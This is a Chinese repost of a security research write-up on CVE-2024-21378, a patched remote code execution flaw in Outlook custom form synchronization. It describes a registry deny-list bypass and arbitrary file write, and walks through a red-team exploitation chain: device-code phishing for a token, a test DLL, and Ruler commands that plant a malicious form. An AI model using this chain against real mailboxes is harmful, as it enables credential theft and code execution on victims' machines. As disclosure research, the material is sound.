CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

admin 2024年4月22日08:41:35评论18 views字数 9431阅读31分26秒阅读模式

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

2023 年,NetSPI 发现 Microsoft Outlook 容易通过同步表单对象受到经过身份验证的远程代码执行 (RCE) 攻击。本博客将介绍我们如何发现CVE-2024-21378并通过修改Ruler( SensePost 发布的 Outlook 渗透测试工具)将其武器化。请注意,包含概念验证代码的拉取请求即将发布,以便为组织提供足够的时间进行修补。

漏洞概述

SensePost (Orange CyberDefense) 的Etienne Stalmans于 2017 年记录了此攻击的原始变体,并利用 Outlook 表单对象内的 VBScript 代码来获取可访问邮箱的代码执行。作为回应,发布了一个补丁来强制将自定义表单中的脚本代码列入白名单。然而,这些表单对象的同步功能从未改变。 

在下面,表单使用IPM.Microsoft.FolderDesign.FormsDescription对象进行MAPI同步。这些对象带有特殊的属性和附件,用于在客户端首次使用表单时“安装”表单。以下是此过程的概述: 

1.Outlook 请求特定消息类 ( IPM.Note.Evil ) 的实例化。  

2.针对IPM.Microsoft.FolderDesign.FormsDescription对象,查阅相关文件夹的 MAPI 关联内容表。  

3.如果PidTagOfflineAddressBookName属性中存储的类名 匹配,则表单安装过程启动。  4.PidTagOfflineAddressBookDistinguishedName用作新表单安装的 CLSID(所有表单都是 COM 对象)  。 

5.表单描述的第一个附件和特殊属性0x6902001F确定需要在 CLSID 下添加哪些注册表项才能安装表单。 

  • 在旧式表单(“绕过 Outlook 的表单”)中,这些注册表值通常包括 InProcServer 项或与提取到磁盘的 DLL 绑定的等效项。 

  • 在较新的表单中,特定于 Outlook 的MsgClass键用于将表单绑定到提取到磁盘的 OLE 对象。 

  • 在这些键中的任何一个中,%d可用于引用剩余表单附件的提取目录 ( %localappdata%MicrosoftFORMS)。 

6.确认注册表更改后,Outlook 继续将表单作为 COM 对象加载。 

这个过程存在一些严重的问题: 

★将附件提取到%localappdata%MicrosoftFORMS时,可以通过PidTagAttachFilename属性执行路径遍历。您还可以将多个文件写入磁盘。这本质上是在安装表单时的任意磁盘写入原语。 

★为表单创建注册表项时,0x6902001F属性数据被预期key=value行的换行符破坏。处理每一行,其中key是 CLSID 根的子键,value是该键的默认值。为了防止“绕过 Outlook 的表单”,将典型 COM 服务器密钥(InProcServer、LocalServer等)的拒绝列表与每行的开头(OLMAPI32.DLL) 进行比较。但是,在安装该值时,您可以使用前导 字符来表示 HKCR 下的完整子项路径。例如,CLSID<CLSID>InprocServer32=%devil.dll将绕过拒绝列表检查并导致表单的完整 COM 对象注册。

我们发现我们能够在磁盘上创建任意文件,以及在 HKEY_CLASSES_ROOT (HKCR) 下安装任意注册表项(具有默认值)。这些原语足以获得微不足道的 RCE。

深入分析

通俗地说,我们认为这是一系列攻击的第四次迭代,其前提是使用受损的凭据通过 Exchange 同步对象。2015 年底,Dreadnode 联合创始人 Nick Landers 发表了一篇关于滥用 Outlook 规则进行 RCE 的博客。在接下来的几年里,Etienne (SensePost) 和 Nick Dual 发现了另外两组向量,这些向量最终被 Microsoft 修补,其中包括对 Outlook Forms 的滥用。SensePost 发布了一组优秀的博客(请参阅参考资料),深入研究了漏洞和底层技术以及利用工具Ruler。 

我们打算重新进行这项研究,因为我们认为 Outlook 具有巨大的、尚未充分开发的攻击面,而我们过去几年在设备代码网络钓鱼/语音钓鱼方面的屡次成功是我们需要的最后推动力。  

我们通过从 Outlook 客户端以及MFCMAPI和 ProcMon手动探索Outlook 表单开始我们的研究。我们将对底层技术进行高层次的概述,但本质上,通过 Outlook 提供的各种项目(消息、日历邀请、任务等)都是通过“检查器窗口”中的表单结构显示的。Outlook 既包含标准表单,又允许通过 Exchange(包括 Exchange Online)发布和同步的自定义表单。 

在我们的研究过程中,我们发现了可用于安装自定义表单的表单配置文件格式。特别令人感兴趣的是文件和注册表项。

文件条目列出了表单库维护的表单服务器应用程序可执行文件,并在表单启动时加载到磁盘缓存中的新子目录中...  

每当使用文件条目时,都会使用注册表条目,它标识了表单的注册表项表单库,其中存储表单服务器应用程序的可执行文件......

我们首先尝试证明本地代码执行。下面是一个示例表单配置,我们可以将其直接导入 Outlook 来安装表单。我们将文件条目设置为我们想要通过表单安装的 DLL 的位置,并将该文件保存到 c:pochello.cfg。 

[Description] MessageClass=IPM.Note.Hello CLSID={00000000-1234-1234-1234-000000000000} DisplayName=Hello Category=Standard Subcategory=Form Comment=Hello SmallIcon=C:WindowsSysWOW64OneDrive.ico LargeIcon=C:WindowsSysWOW64OneDrive.ico [Platforms] Platform1=Win16 [Platform.Win16] CPU=ix86 OSVersion=Win3.1 File = C:pochello.dll Registry = InprocServer32 = %dhello.dll

出于测试目的,我们在DllMain中编译了一个带有执行原语的DLL,并再次将其放置在与上面的hello.cfg文件相同的文件夹中。

#include <Windows.h> BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {      if (reason == DLL_PROCESS_ATTACH) {      MessageBoxA(0, "Hello", "Ruh Roh", 0);      }      return TRUE;}

然后,通过导航到文件->选项->高级->自定义表单并选择hello.cfg文件,可以使用配置文件在Outlook中安装表单。注意:我们在通过配置文件安装自定义表单时将位置设置为“目录”。CVE-2024-21378 — Microsoft Outlook 中的远程代码执行导航到表单管理器

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

安装自定义表单配置文件到Windows文件夹中

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

n窗体已安装

然后,我们继续选择开发人员选项卡->选择表单并打开新创建的表单。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

正在尝试打开新安装的表单

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

好吧,不太理想,但我们记得在安装表单配置文件时看到了一个潜在的相关配置。我们进行更改并重试。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行自定义表单选项与我们以前的选择相关

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

更好!我们确认了一个任意DLL的执行,但我们仍然有一些有用的东西要做。在后端,在安装表单时,配置文件被转换为IPM.Microsoft.FolderDesign.FormsDescription消息类对象,并存储在Outlook的Outlook目录中。从开发人员选项卡中选择自定义表单后,检查相关的注册表项,发现我们的DLL存储在%localappdata%MicrosoftFORMSIPM中。注意:您好,不仅确认执行,而且确认看似任意的注册表写入,以及文件写入磁盘。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

Homing In

为了更好地了解在引擎盖下发生了什么,我们开始使用MFC浏览Outlook的内容。Outlook包含您的电子邮件,但它也是一个数据库,我们可以将MFC视为本质上是一个数据库探索工具,它为您提供对Outlook客户端中不可见的属性和对象的访问。在MFC中,我们右键单击我们的表(因为这是我们保存自定义表单的地方),然后导航到“Open associated contents table”按钮,在那里我们找到了新表单及其各种属性。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

查看我们的目录文件夹的隐藏内容表

当我们探索如何重新创建IPM.Microsoft.FolderDesign.FormsDescription

当我们在代码中使用对象时,我们开始问自己,“可以安装的窗体和'绕过Outlook'的窗体之间有什么区别?是什么让你下这样的决心?”

似乎最直接相关的属性是“PidTagOfflineAddressBookDistinguishedName”或“PR_OAB_DN”。这个属性标记包含了我们在配置文件中分配的COM CLSID,它最终定义了表单最终注册的COM CLSID。这很有趣,因为我们似乎可以在HKCR下创建任何注册表项并设置它的(默认)值。此外,如果CLSID是任意的,那么是什么阻止我们放入现有对象的CLSID并执行经典的COM劫持?同样,SensePost提供了这些属性标签及其重要性的概述,因此我们将避免在这里重复相同的内容。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

IPM.Note.Hello窗体的属性标记及其值

然后,我们右键单击表单,选择“显示->显示附件表”,发现表单包含几个附件,包括要通过表单消息对象注册的DLL。在第一个附件中,我们还在几个属性标记中找到了注册表项信息。我们注意到PR_ATTACH_DATA_BIN属性似乎并不重要,因为我们可以挖空内容并将表单同步回Outlook,而不会产生任何影响。我们发现0x 6902001 F的值

属性确定了需要在CLSID下添加哪些注册表项来安装表单-另一个看似关键的组件。在第一个附件中,我们还在几个属性标记中找到了注册表项信息。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

MFC中的表单附件表

然后,我们使用Ruler向自己发送一个用于执行VBScript的表单,并开始将其与COM DLL执行表单进行比较。查看结果,我们确认在0x6902001F属性标记中传递的值用于设置注册表项。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

测试0x6092001F属性标记中的各种输入

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

查看注册表结果

我们还发现,添加InProcServer32,到VBScript表单键,并通过MFC将表单同步回Outlook会导致失败,因为我们会收到“无法安装绕过Outlook的表单”错误。我们可以清楚地看到这是一个denylist,因为我们设置的任何其他键都将被创建。

这给我们带来了一个新的问题,第一个问题是,这种否定性是在哪里实现的?我们是否可以通过替代的注册表项绕过这个拒绝列表,这些注册表项不会在拒绝列表上,但仍然允许我们获得代码执行或执行COM劫持?他们限制了吗?如果我们提供一个已经存在的CLSID的URL,它会工作,附加到注册表,还是失败?但话说回来,这似乎是任意的,我们在表单中放入的任何密钥都会被创建出来,这对我们来说似乎是一个糟糕的策略。

我们决定开始寻找拒绝名单发生的地方。这是一个有点棘手,因为Outlook是一个野兽反编译,但我们可能能够得到那里的帮助下,从ProcMon。我们打开ProcMon并再一次执行表单,专门为我们的COM对象进行过滤。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

在进程监视器中查看堆栈

正如您在上面看到的,堆栈中RegOpenKeyExA之前的最后一个调用来自OLMAPI32.DLL中的函数调用。我们开始反编译OLMAPI32.DLL,并在函数及其引用ScOpenRegKey -> RegisterFormClass -> HrDownloadFormFiles中漫游,直到我们最终遇到一个熟悉的属性标记0x 6902001 F!我们找到了0x 6902001 E,它是原始属性标记的ASCII版本。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

跳转到我们在ProcMon中识别的地址

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

检查对ScOpenRegKey的引用并发现RegisterFormClass

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

选择对RegisterFormClass的引用

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

在RegisterFormClass函数中发现我们感兴趣的属性标记

再次查看RegisterFormClass,我们找到了check函数(sub_1803DF094)和denylist变量(v8 =(LPCSTR *)off_1806DAB0)。

注意:为了清晰起见,下面的一些变量和函数名称已经修改。

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

check函数和denylist变量(名称已修改)

CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

我们追求的denylist变量

回顾denylist检查和安装之间的增量,我们发现一个简单的旁路,使用相对路径,在每个新行前面加上“"。例如,“InprocServer 32 =%devil.dll”被阻止,而

CLSID{00000000-1234 - 1234-FEED 0000000}InprocServer32=%devil.dll”

未被阻止。

__int64 ApplyRegistryKeysFromString(HKEY regKey, LPCSTR path, LPCSTR lpSubKey, char *value) {    HKEY hKey = 0;    int pathLen = strlen(path);    char *block = strdup(value);    if (!block) return 2147942414;    char *lineStart = block;    while (lineStart && *lineStart) {        const char *lineEnd = strchr(lineStart, 10);        if (lineEnd) {            *lineEnd = 0;            lineEnd++;        }        char *equalSign = strchr(lineStart, 61);        const char *keyValue = equalSign ? equalSign + 1 : “SzNull”;        if (equalSign) *equalSign = 0;        if (*lineStart == ‘\’) {            if (ScOpenRegKey(&hKey, HKEY_CLASSES_ROOT, lineStart + 1, 2, 1) == 0) {                if (RegSetValueA(hKey, 0, 1, keyValue, strlen(keyValue)) != 0) {                    return -2147221167;                }            }        } else {            if (ScSetRegValue(&hKey, regKey, lineStart, keyValue, strlen(keyValue)) != 0) {                return -2147221167;            }        }        lineStart = (char *)lineEnd;    }    free(block);    return 0;}

我们的研究表明,作为一个经过身份验证的用户,我们可以:

  • 在HKCR下创建任何注册表项并设置该项的(默认)值

  • 将任意数量的文件放置在磁盘上的任意位置

  • 创建一个表单,执行该表单时将导致Outlook通过CLSID加载注册的COM对象。

武器化

正如本文开头所提到的,我们研究的主要驱动力是我们在 红队参与期间成功地滥用了设备代码身份验证令牌。在识别出可利用远程代码执行的漏洞后,我们继续分叉并修改 Ruler 以支持通过受损的 访问令牌对 Exchange Online 进行身份验证。我们考虑了各种执行技术,但为了概念验证的目的,我们通过添加代码来同步包含执行任意 COM 兼容本机 DLL 所需属性的表单来保持简单。包含 PoC 代码的公共分叉以及稍后对原始存储库的拉取请求将在此处找到。 

我们立即发现了一些最初的 OpSec 问题:

  • 触发表单需要用户交互才能执行(尽管进一步挖掘可能会揭示自动执行)。

  • 该DLL将被提取到众所周知的FORMS目录中,可以监控该目录以防止历史攻击。

  • 注册表中的 CLSID 更改由 Outlook 进程执行。

  • 该 DLL 将被加载到 Outlook 进程中。

下面我们提供了一般利用流程的高级概述:

1.获取目标用户的凭证材料。 

2.创建我们想要执行的 COM 兼容 DLL。 

3.向 Ruler 指定我们的凭证材料、DLL 和其他必需/可选参数。

4.Ruler 将向 Exchange Server/Exchange Online 进行身份验证,并将表单作为电子邮件发送。 

5.然后,用户需要通过在 Windows 设备上的 Microsoft Outlook 胖客户端单击、转发或打印电子邮件来触发表单。 

6.执行该表单将创建注册表项、将 DLL 放入磁盘并将 DLL 加载到 Outlook 进程中。

从设备代码到执行的演练

在本节中,我们将详细介绍该问题的实际利用。首先,我们使用我们选择的武器(在本例中为 TokenTactics )通过设备代码网络钓鱼/语音钓鱼获取刷新令牌。

PS C:TokenTactics> Import-Module .TokenTactics.psd1PS C:TokenTactics> Get-AzureToken -Client Outlookuser_code        : L78NMWTT3device_code      : [REDACTED]              verification_url : https://microsoft.com/deviceloginexpires_in       : 900interval         : 5message          : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code L78NMWTT3 to authenticate.authorization_pendingtoken_type     : Bearerscope          : AuditLog.Read.All [TRUNCATED]expires_in     : 8492ext_expires_in : 8492expires_on     : 1697842572not_before     : 1697833779resource       : https://graph.microsoft.com/access_token   : eyJ0[REDACTED]PS C:TokenTactics> $response.access_token | clip

编译 COM DLL 后,我们使用 Ruler 分支发送表单。下面是一个标尺命令示例,请注意所提供参数的顺序很重要。Ruler 将使用我们的 Outlook 访问令牌向 Exchange Online 进行身份验证,并以包含 DLL 文件的电子邮件形式发送表单。 

$ go run .ruler.go --token "[REDACTED]" --email [email protected] --o365 --debug form add-com --dll evil.dll --suffix Evil -s[+] Found cached Autodiscover record. Using this (use --nocache to force new lookup)[+] Create Form Pointer Attachment with data:  CLSID{00000000-1234-1234-1234-FEED00000000}InprocServer32=%dMicrosoft.Teams.Shim.dllStarting UploadWriting final piece 0 of 0[+] Create Form Template AttachmentStarting UploadWriting 0 of 43[TRUNCATED]Writing final piece 43 of 43[+] Form created successfully:  IPM.Note.Evil[+] Sending email.[+] Email sent!

同样,在上面的示例中,我们创建了一个新表单并向受感染的电子邮件帐户(从其本身)发送了一封触发电子邮件。尽管已安装表单,但除非从 Outlook 胖客户端中单击(在预览窗格中查看)、转发或打印触发电子邮件,否则不会执行该表单。 

让我们看一下 add-com 表单中新功能的一些可能的参数。

$ go run ruler.go form add-com -h                                                                                                                                                         NAME:   ruler form add-com - creates a new COM based form.USAGE:   ruler form add-com [command options] [arguments...]OPTIONS:   --suffix value           A 3 character suffix for the form. Defaults to pew (default: "pew")   --dll value, -d value    A path to a the COM DLL file to execute   --clsid value, -c value  CLSID to use for the remote registration (default: "random")   --name value, -n value   The DLL name on the remote system (default: "Microsoft.Teams.Shim.dll")   --hidden                 Attempt to hide the form.   --send, -s               Trigger the form once it's been created   --body value, -b value   The email body you may wish to use (default: "This message cannot be displayed in the previewer.nnnnn")   --subject value          The subject you wish to use, this should contain your trigger word (default: "Exchange Quarantine Report")

显然,读者还需要考虑一些 OpSec 因素。

结论

Microsoft 已发布CVE-2024-21378补丁 (请参阅适用于您的 Outlook 和/或 Office 版本的 MSRC 更新指南),我们希望推迟发布这篇文章能让组织抢占先机。我们还希望这能让人们重新关注我们认为尚未充分探索的攻击面(以及一些保护措施有多浅)。发现漏洞并绕过它并不太复杂——我们采用了正常的黑客式方法,试图进一步加深我们对底层技术和协议的理解,更不用说,建立在以前的研究之上肯定会有所帮助。

原文地址:

https://t.co/7ELyXiPiBi

原文始发于微信公众号(Ots安全):CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日08:41:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-21378 — Microsoft Outlook 中的远程代码执行http://cn-sec.com/archives/2573276.html

发表评论

匿名网友 填写信息